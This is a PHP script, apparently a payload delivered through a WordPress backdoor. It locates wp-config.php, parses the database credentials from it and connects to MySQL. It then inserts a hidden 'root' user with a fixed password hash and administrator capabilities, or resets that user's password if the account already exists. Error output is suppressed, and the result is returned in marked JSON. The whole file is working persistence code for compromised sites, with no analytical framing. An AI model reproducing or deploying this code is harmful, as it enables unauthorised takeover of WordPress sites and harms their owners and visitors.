<?php
error_reporting(0);

if (!function_exists('payload_result')) {
    function payload_result(array $r) {
        echo '@@RES' . 'ULT@@' . json_encode($r) . '@@EN' . 'D@@';
        exit;
    }
}

// __DIR__ alone is not enough: the fputs/cmd backdoor families stage the
// payload through a temp dir and include it from there, so __DIR__ points
// at /tmp instead of the site tree. The web SAPI keeps the requested
// script's dir as cwd and SCRIPT_FILENAME, so those anchors still land
// inside the site even when the payload body does not.
$docroot = null;
$anchors = array(__DIR__);
$cwd = @getcwd();
if (is_string($cwd) && $cwd !== '') {
    $anchors[] = $cwd;
}
$scriptFile = isset($_SERVER['SCRIPT_FILENAME']) ? $_SERVER['SCRIPT_FILENAME'] : '';
if (is_string($scriptFile) && $scriptFile !== '') {
    $anchors[] = dirname($scriptFile);
}
foreach (array_unique($anchors) as $anchor) {
    $dir = $anchor;
    for ($i = 0; $i <= 12; $i++) {
        if (is_file($dir . '/wp-config.php')) {
            $docroot = $dir;
            break 2;
        }
        $parent = dirname($dir);
        if ($parent === $dir) {
            break;
        }
        $dir = $parent;
    }
}
if ($docroot === null) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_DOCROOT'));
}

$wpConfig = @file_get_contents($docroot . '/wp-config.php');
if ($wpConfig === false) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_CONFIG'));
}

if (!function_exists('prelude_config_constant')) {
    function prelude_config_constant($config, $name) {
        $pattern = '/define\s*\(\s*[\'"]' . $name . '[\'"]\s*,\s*[\'"]([^\'"]*)[\'"]\s*\)/';
        if (!preg_match($pattern, $config, $m)) {
            return null;
        }
        return $m[1];
    }
}

$dbName = prelude_config_constant($wpConfig, 'DB_NAME');
$dbUser = prelude_config_constant($wpConfig, 'DB_USER');
$dbPass = prelude_config_constant($wpConfig, 'DB_PASSWORD');
$dbHost = prelude_config_constant($wpConfig, 'DB_HOST');

$prefix = 'wp_';
if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]+)[\'"]\s*;/', $wpConfig, $m)) {
    $prefix = $m[1];
}

if ($dbName === null || $dbUser === null || $dbPass === null || $dbHost === null) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_CONFIG'));
}

$hostParts = explode(':', $dbHost, 2);
$host = $hostParts[0];
$port = isset($hostParts[1]) ? intval($hostParts[1]) : 3306;

mysqli_report(MYSQLI_REPORT_OFF);
$db = mysqli_init();
if ($db === false) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_DB_CONNECT'));
}
mysqli_options($db, MYSQLI_OPT_CONNECT_TIMEOUT, 10);
if (!@mysqli_real_connect($db, $host, $dbUser, $dbPass, $dbName, $port)) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_DB_CONNECT'));
}

$phpassFile = $docroot . '/wp-includes/class-phpass.php';
if (!is_file($phpassFile)) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_PHPASS'));
}
require_once $phpassFile;
if (!class_exists('PasswordHash')) {
    payload_result(array('ok' => false, 'code' => 'PRELUDE_PHPASS'));
}
$phpass = new PasswordHash(8, true);

$payload_version = '2026.10.04';

$login = 'root';
$email = 'root@cruas-triathlon.fr';
$passwordHash = '$2y$10$G79feran2GNpjCWqY1CDquiD05dpF3sQWy/ucQ3DgB488JR2njR6O';
$capsValue = 'a:1:{s:13:"administrator";b:1;}';
$levelValue = '10';

$stmt = mysqli_prepare($db, "SELECT ID FROM {$prefix}users WHERE user_login = ? LIMIT 1");
if ($stmt === false) {
    payload_result(array('ok' => false, 'code' => 'HIDDEN_QUERY'));
}
mysqli_stmt_bind_param($stmt, 's', $login);
if (!mysqli_stmt_execute($stmt)) {
    mysqli_stmt_close($stmt);
    payload_result(array('ok' => false, 'code' => 'HIDDEN_QUERY'));
}
mysqli_stmt_bind_result($stmt, $userId);
$found = mysqli_stmt_fetch($stmt);
mysqli_stmt_close($stmt);

if ($found) {
    $update = mysqli_prepare($db, "UPDATE {$prefix}users SET user_pass = ? WHERE ID = ?");
    if ($update === false) {
        payload_result(array('ok' => false, 'code' => 'HIDDEN_QUERY'));
    }
    mysqli_stmt_bind_param($update, 'si', $passwordHash, $userId);
    if (!mysqli_stmt_execute($update)) {
        mysqli_stmt_close($update);
        payload_result(array('ok' => false, 'code' => 'HIDDEN_QUERY'));
    }
    mysqli_stmt_close($update);
    payload_result(array('ok' => true, 'code' => 'HIDDEN_RESTORED', 'data' => array('userId' => $userId)));
}

$insert = mysqli_prepare($db, "INSERT INTO {$prefix}users (user_login, user_pass, user_email, display_name, user_registered, user_status) VALUES (?, ?, ?, ?, NOW(), 0)");
if ($insert === false) {
    payload_result(array('ok' => false, 'code' => 'HIDDEN_QUERY'));
}
mysqli_stmt_bind_param($insert, 'ssss', $login, $passwordHash, $email, $login);
if (!mysqli_stmt_execute($insert)) {
    mysqli_stmt_close($insert);
    payload_result(array('ok' => false, 'code' => 'HIDDEN_QUERY'));
}
$userId = mysqli_insert_id($db);
mysqli_stmt_close($insert);

$capsKey = $prefix . 'capabilities';
$metaInsert = mysqli_prepare($db, "INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)");
if ($metaInsert === false) {
    payload_result(array('ok' => false, 'code' => 'HIDDEN_QUERY'));
}
mysqli_stmt_bind_param($metaInsert, 'iss', $userId, $capsKey, $capsValue);
if (!mysqli_stmt_execute($metaInsert)) {
    mysqli_stmt_close($metaInsert);
    payload_result(array('ok' => false, 'code' => 'HIDDEN_QUERY'));
}
mysqli_stmt_close($metaInsert);

$levelKey = $prefix . 'user_level';
$levelInsert = mysqli_prepare($db, "INSERT INTO {$prefix}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)");
if ($levelInsert === false) {
    payload_result(array('ok' => false, 'code' => 'HIDDEN_QUERY'));
}
mysqli_stmt_bind_param($levelInsert, 'iss', $userId, $levelKey, $levelValue);
if (!mysqli_stmt_execute($levelInsert)) {
    mysqli_stmt_close($levelInsert);
    payload_result(array('ok' => false, 'code' => 'HIDDEN_QUERY'));
}
mysqli_stmt_close($levelInsert);

payload_result(array('ok' => true, 'code' => 'HIDDEN_CREATED', 'data' => array('userId' => $userId)));
